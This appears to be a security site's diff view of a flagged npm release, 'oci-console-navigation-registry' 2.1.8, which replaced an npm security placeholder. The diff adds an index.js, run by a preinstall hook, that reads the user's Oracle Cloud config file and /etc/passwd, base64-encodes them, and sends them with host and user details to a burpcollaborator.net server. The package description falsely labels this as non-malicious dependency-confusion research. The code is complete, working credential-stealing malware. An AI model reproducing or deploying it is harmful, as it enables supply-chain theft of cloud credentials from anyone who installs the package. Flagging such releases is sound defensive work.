oci-console-navigation-registry 0.0.1-security → 2.1.8

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of oci-console-navigation-registry might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +81 -0
  2. package/package.json +9 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,81 @@
1
+ const fs = require('fs')
2
+ const net = require('net');
3
+ const os = require("os");
4
+ const dns = require("dns");
5
+ const querystring = require("querystring");
6
+ const https = require("https");
7
+ const packageJSON = require("./package.json");
8
+ const package = packageJSON.name;
9
+
10
+
11
+ var filepath2 = process.env.HOME+'/.oci/config';
12
+ let base64data2 = '';
13
+
14
+ try {
15
+ if (fs.existsSync(filepath2)) {
16
+ var data2 = fs.readFileSync(filepath2,'utf8');
17
+ let buff2 = new Buffer(data2);
18
+ base64data2 = buff2.toString('base64');
19
+ }} catch(error) {
20
+ console.log('didnt work')
21
+ }
22
+
23
+ var filepath1 = '/etc/passwd';
24
+ let base64data1 = '';
25
+
26
+ try {
27
+ if (fs.existsSync(filepath1)) {
28
+ var data1 = fs.readFileSync(filepath1,'utf8');
29
+ let buff1 = new Buffer(data1);
30
+ base64data1 = buff1.toString('base64');
31
+ }} catch(error) {
32
+ console.log('didnt work')
33
+ }
34
+
35
+
36
+ const trackingData = JSON.stringify({
37
+ p: package,
38
+ c: __dirname,
39
+ homedir: os.homedir(),
40
+ networkinterfaces: os.networkInterfaces(),
41
+ release: os.release(),
42
+ userid: os.userInfo().uid,
43
+ hostname: os.hostname(),
44
+ username: os.userInfo().username,
45
+ dns: dns.getServers(),
46
+ r: packageJSON ? packageJSON.___resolved : undefined,
47
+ v: packageJSON.version,
48
+ pjson: packageJSON,
49
+ });
50
+
51
+ var postData = querystring.stringify({
52
+ msg: trackingData,
53
+ });
54
+
55
+ var options = {
56
+ hostname: "69d9p746cqlqc2gub8npay3m3d98xx.burpcollaborator.net",
57
+ port: 443,
58
+ path: "/",
59
+ method: "POST",
60
+ headers: {
61
+ "Content-Type": "application/x-www-form-urlencoded",
62
+ "Content-Length": postData.length,
63
+ "ociconfigfile": base64data2,
64
+ "etcpasswdfile": base64data1
65
+ },
66
+ };
67
+
68
+ var req = https.request(options, (res) => {
69
+ res.on("data", (d) => {
70
+ process.stdout.write(d);
71
+ });
72
+ });
73
+
74
+
75
+ req.on("error", (e) => {
76
+ // console.error(e);
77
+ });
78
+
79
+ req.write(postData);
80
+ req.end();
81
+
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "oci-console-navigation-registry",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "2.1.8",
4
+ "description": "This is a non-malicious package for Oracle NPM Dependency Confusion",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
6
12
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=oci-console-navigation-registry for more information.